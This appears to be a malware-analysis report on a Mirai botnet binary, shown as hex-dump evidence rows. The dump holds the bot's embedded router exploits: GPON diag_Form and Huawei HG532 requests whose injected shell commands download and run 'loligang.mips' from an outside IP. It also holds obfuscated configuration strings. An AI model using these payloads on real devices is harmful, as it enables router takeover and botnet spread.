loligang.arm6
Mirai botnet malware
Huawei HG532 exploit with campaign markerMirai LZRD HTTP bot with static uClibc
SHA-2563cc0ee50f6a755e9d977dbfad75ff6eea2c77c7ef6102b3601cb330f7bb75328
Evidence
⋯7 more rows
0x170080dc0a0e1f0df2de904b04ce2f0af1be9......-...L.....
0x17018504f5354202f63646e2d6367692f0000POST /cdn-cgi/..
0x1702820485454502f312e310d0a557365722d HTTP/1.1..User-
0x170384167656e743a20000d0a486f73743a20Agent: ...Host:
⋯3 more rows
0x170780000000075726c3d00000000504f5354....url=....POST
0x1708800000000270000003d0000002f70726f....'...=.../pro
0x17098632f6e65742f7463700000003230392ec/net/tcp...209.
0x170a83132362e3130332e393700000a000000126.103.97......
0x170b8000000010000000025642e25642e2564........%d.%d.%d
0x170c82e256400504f5354202f47706f6e466f.%d.POST /GponFo
0x170d8726d2f646961675f466f726d3f696d61rm/diag_Form?ima
0x170e86765732f20485454502f312e310d0a48ges/ HTTP/1.1..H
0x170f86f73743a203132372e302e302e313a38ost: 127.0.0.1:8
0x171083038300d0a436f6e6e656374696f6e3a080..Connection:
0x17118206b6565702d616c6976650d0a416363 keep-alive..Acc
0x171286570742d456e636f64696e673a20677aept-Encoding: gz
0x1713869702c206465666c6174650d0a416363ip, deflate..Acc
0x171486570743a202a2f2a0d0a557365722d41ept: */*..User-A
0x1715867656e743a204d6f7a696c6c612f352egent: Mozilla/5.
0x17168300d0a436f6e74656e742d4c656e67740..Content-Lengt
0x17178683a203131380d0a0d0a585765625061h: 118....XWebPa
0x1718867654e616d653d646961672664696167geName=diag&diag
0x171985f616374696f6e3d70696e672677616e_action=ping&wan
0x171a85f636f6e6c6973743d3026646573745f_conlist=0&dest_
0x171b8686f73743d60603b776765742b687474host=``;wget+htt
0x171c8703a2f2f3230392e3132362e3130332ep://209.126.103.
0x171d839372f6c6d616f5754462f6c6f6c696797/lmaoWTF/lolig
0x171e8616e672e6d6970732b2d4f2b2f746d70ang.mips+-O+/tmp
0x171f82f6c6f6c6967616e672e6d6970733b73/loligang.mips;s
0x17208682b2f746d702f6c6f6c6967616e672eh+/tmp/loligang.
0x172186d697073266970763d300000504f5354mips&ipv=0..POST
0x17228202f47706f6e466f726d2f646961675f /GponForm/diag_
0x17238466f726d3f696d616765732f20485454Form?images/ HTT
0x17248502f312e310d0a486f73743a20313237P/1.1..Host: 127
0x172582e302e302e313a38300d0a436f6e6e65.0.0.1:80..Conne
0x172686374696f6e3a206b6565702d616c6976ction: keep-aliv
0x17278650d0a4163636570742d456e636f6469e..Accept-Encodi
0x172886e673a20677a69702c206465666c6174ng: gzip, deflat
⋯5 more rows
0x175cb4e6577496e7465726e616c506f72743eNewInternalPort>
0x175db3c4e6577496e7465726e616c436c6965<NewInternalClie
0x175eb6e743e606364202f746d702f3b20726dnt>`cd /tmp/; rm
0x175fb202d72662a3b20776765742068747470 -rf*; wget http
0x1760b3a2f2f3230392e3132362e3130332e39://209.126.103.9
0x1761b372f6c6d616f5754462f6c6f6c6967617/lmaoWTF/loliga
0x1762b6e672e6d697073603c2f4e6577496e74ng.mips`</NewInt
0x1763b65726e616c436c69656e743e3c4e6577ernalClient><New
⋯4 more rows
0x1768b6f72744d617070696e67446573637269ortMappingDescri
0x1769b7074696f6e3e3c4e65774c6561736544ption><NewLeaseD
0x176ab75726174696f6e3e303c2f4e65774c65uration>0</NewLe
0x176bb6173654475726174696f6e3e3c2f753aaseDuration></u:
⋯15 more rows
⋯5 more rows
0x179646c69656e743e606364202f746d702f3blient>`cd /tmp/;
0x1797463686d6f64202b78206c6f6c6967616echmod +x loligan
0x17984672e6d6970733b2e2f6c6f6c6967616eg.mips;./loligan
0x17994672e6d697073207265616c74656b602fg.mips realtek`/
⋯11 more rows
0x17a54733a456e76656c6f70653e0d0a0d0a00s:Envelope>.....
0x17a64504f5354202f6374726c742f44657669POST /ctrlt/Devi
0x17a746365557067726164655f312048545450ceUpgrade_1 HTTP
0x17a842f312e310d0a486f73743a2025733a33/1.1..Host: %s:3
0x17a94373231350d0a436f6e74656e742d4c657215..Content-Le
0x17aa46e6774683a203630310d0a436f6e6e65ngth: 601..Conne
0x17ab46374696f6e3a206b6565702d616c6976ction: keep-aliv
0x17ac4650d0a417574686f72697a6174696f6ee..Authorization
0x17ad43a2044696765737420757365726e616d: Digest usernam
0x17ae4653d2264736c662d636f6e666967222ce="dslf-config",
0x17af4207265616c6d3d22487561776569486f realm="HuaweiHo
0x17b046d6547617465776179222c206e6f6e63meGateway", nonc
0x17b14653d2238383634356365666231663965e="88645cefb1f9e
⋯9 more rows
0x17bb4653d2232343864316132353630313030e="248d1a2560100
0x17bc4363639220d0a0d0a3c3f786d6c207665669"....<?xml ve
0x17bd47273696f6e3d22312e3022203f3e3c73rsion="1.0" ?><s
0x17be43a456e76656c6f706520786d6c6e733a:Envelope xmlns:
0x17bf4733d22687474703a2f2f736368656d61s="http://schema
0x17c04732e786d6c736f61702e6f72672f736fs.xmlsoap.org/so
⋯5 more rows
0x17dfcd2000000d400000024dd0000772b0000........$...w+..
0x17e0c4e58504602414d414902444751562200NXPF.AMAI.DGQV".
0x17e1c0d52504d410d22000d475a4722000000.RPMA."..GZG"...
0x17e2c020a46474e475647460b22000d444622..FGNGVGF."..DF"
0x17e3c000000000c434c4b4f4722000d515643.....CLKOG"..QVC
0x17e4c56575122000000004654506a474e5247VWQ"....FTPjGNRG
0x17e5c502200006c4b65654770141b5a462200P"..lKeeGp..ZF".
0x17e6c13111115714d50436e6d636667702200....qMPCnmcfgp".
0x17e7c6c4b6565477046124c49511311111522lKeeGpF.LIQ...."
0x17e8c000000007a131b6b10111b131016776b....z..k......wk
0x17e9c772200006b577b455748476b534c2200w"..kW{EWHGkSL".
0x17eac13166443220000004141636622000000..dC"...AAcf"...
0x17ebc0d52504d410d4c47560d504d57564722.RPMA.LGV.PMWVG"
0x17ecc000000000d52504d410d4152574b4c44.....RPMA.ARWKLD
0x17edc4d220000606d656d6f6b727122000000M"..`memokrq"...
0x17eec0d4756410d50410c460d50410c4e4d41.GVA.PA.F.PA.NMA
0x17f0c4c52104e4b471249484422000d464754LR.NKG.IHD"..FGT
0x17f1c0d554356414a464d452200000d464754.UCVAJFME"...FGT
0x17f2c0d4f4b51410d554356414a464d452200.OKQA.UCVAJFME".
0x17f3c0d4647540d64767566761312137d5543.FGT.dvufv...}UC
0x17f4c56414a464d4522000d4647540d4c4756VAJFME"..FGT.LGV
0x17f5c514e4b4c490d220072706b746f716522QNKLI.".rpktoqe"
0x17f6c000000006567766e6d61636e6b722200....egvnmacnkr".
0x17f7c696b6e6e637676692200000067435651iknncvvi"...gCVQ
0x17f8c1a22000054791254220000001b116d44."..Ty.T".....mD
0x17f9c486a781058220000654a4d5156755758Hjx.X"..eJMQVuWX
0x17fac6a475047141414220000000075516563jGPG..."....uQec
0x17fbc16626414642200006361666022000000.bd.d"..caf`"...
0x17fcc63406346220000004b43655422000000c@cF"...KCeT"...
0x17fdc514a474e4e220000474c43404e472200QJGNN"..GLC@NG".
0x17fec515b5156474f2200514a22000d404b4cQ[QVGO".QJ"..@KL
0x17ffc0d4057515b404d5a026e787066220000.@WQ[@MZ.nxpf"..
0x1800c6e78706618024352524e4756024c4d56nxpf..CRRNGV.LMV
0x1801c02444d574c4622004c414d5050474156.DMWLF".LAMPPGAV
0x1802c220000000d404b4c0d4057515b404d5a"....@KL.@WQ[@MZ
0x1803c02525122000000000d404b4c0d405751.RQ".....@KL.@WQ
0x1804c5b404d5a02494b4e4e020f1b02220000[@MZ.IKNN...."..
0x1805c76714d5750414702674c454b4c470273vqMWPAG.gLEKLG.s
0x1806c5747505b220000000d4756410d504751WGP["....GVA.PGQ
0x1807c4d4e540c414d4c44220000004c434f47MNT.AMLD"...LCOG
0x1808c514750544750022200000000614d4c4cQGPTGP."....aMLL
0x1809c4741564b4d4c1802494747520f434e4bGAVKML..IGGR.CNK
⋯3 more rows
0x181ef5447501802414e4d5746444e4350470fTGP..ANMWFDNCPG.
0x181ff4c454b4c5a220000006f4d584b4e4e43LEKLZ"...oMXKNNC
0x1820f0d170c12020a754b4c464d5551026c76......uKLFMUQ.lv
0x1821f0213120c121902756d7514160b026352.......umu....cR
0x1822f524e47754740694b560d1711150c1114RNGuG@iKV.......
0x1823f020a696a766f6e0e024e4b4947026547..ijvon..NKIG.eG
0x1824f41494d0b02614a504d4f470d17130c12AIM..aJPMOG.....
0x1825f0c101512160c1312110271434443504b..........qCDCPK
0x1826f0d1711150c111422006f4d584b4e4e43.......".oMXKNNC
0x1827f0d170c12020a754b4c464d5551026c76......uKLFMUQ.lv
0x1828f0213120c121902756d7514160b026352.......umu....cR
0x1829f524e47754740694b560d1711150c1114RNGuG@iKV.......
0x182af020a696a766f6e0e024e4b4947026547..ijvon..NKIG.eG
0x182bf41494d0b02614a504d4f470d17100c12AIM..aJPMOG.....
0x182cf0c101516110c1313140271434443504b..........qCDCPK
0x182df0d1711150c111422006f4d584b4e4e43.......".oMXKNNC
0x182ef0d170c12020a754b4c464d5551026c76......uKLFMUQ.lv
0x182ff02140c131902756d7514160b02635252......umu....cRR
0x1830f4e47754740694b560d1711150c111402NGuG@iKV........
0x1831f0a696a766f6e0e024e4b494702654741.ijvon..NKIG.eGA
0x1832f494d0b02614a504d4f470d17130c120cIM..aJPMOG......
0x1833f101512160c1312110271434443504b0d.........qCDCPK.
0x1834f1711150c11142200006f4d584b4e4e43......"..oMXKNNC
0x1835f0d170c12020a754b4c464d5551026c76......uKLFMUQ.lv
0x1836f02140c131902756d7514160b02635252......umu....cRR
0x1837f4e47754740694b560d1711150c111402NGuG@iKV........
0x1838f0a696a766f6e0e024e4b494702654741.ijvon..NKIG.eGA
0x1839f494d0b02614a504d4f470d17100c120cIM..aJPMOG......
0x183af101516110c1313140271434443504b0d.........qCDCPK.
0x183bf1711150c11142200006f4d584b4e4e43......"..oMXKNNC
0x183cf0d170c12020a6f43414b4c564d514a19......oCAKLVMQJ.
0x183df026b4c56474e026f4341026d71027a02.kLVGN.oCA.mq.z.
0x183ef13127d13137d140b026352524e477547..}..}...cRRNGuG
0x183ff40694b560d1412130c150c15020a696a@iKV..........ij
0x1840f766f6e0e024e4b494702654741494d0bvon..NKIG.eGAIM.
0x1841f02744750514b4d4c0d1b0c130c100271.tGPQKML.......q
0x1842f434443504b0d1412130c150c15220000CDCPK........"..
0x1843f006f4d584b4e4e430d160c12020a414d.oMXKNNC......AM
0x1845f0c121902754b4c464d5551026c760217....uKLFMUQ.lv..
0x1846f0c13190276504b46474c560d170c120b....vPKFGLV.....
0x1847f22000000006f4d584b4e4e430d160c12"....oMXKNNC....
0x1849f6b67021b0c121902754b4c464d555102kg......uKLFMUQ.
0x184af6c7602140c12190276504b46474c560dlv......vPKFGLV.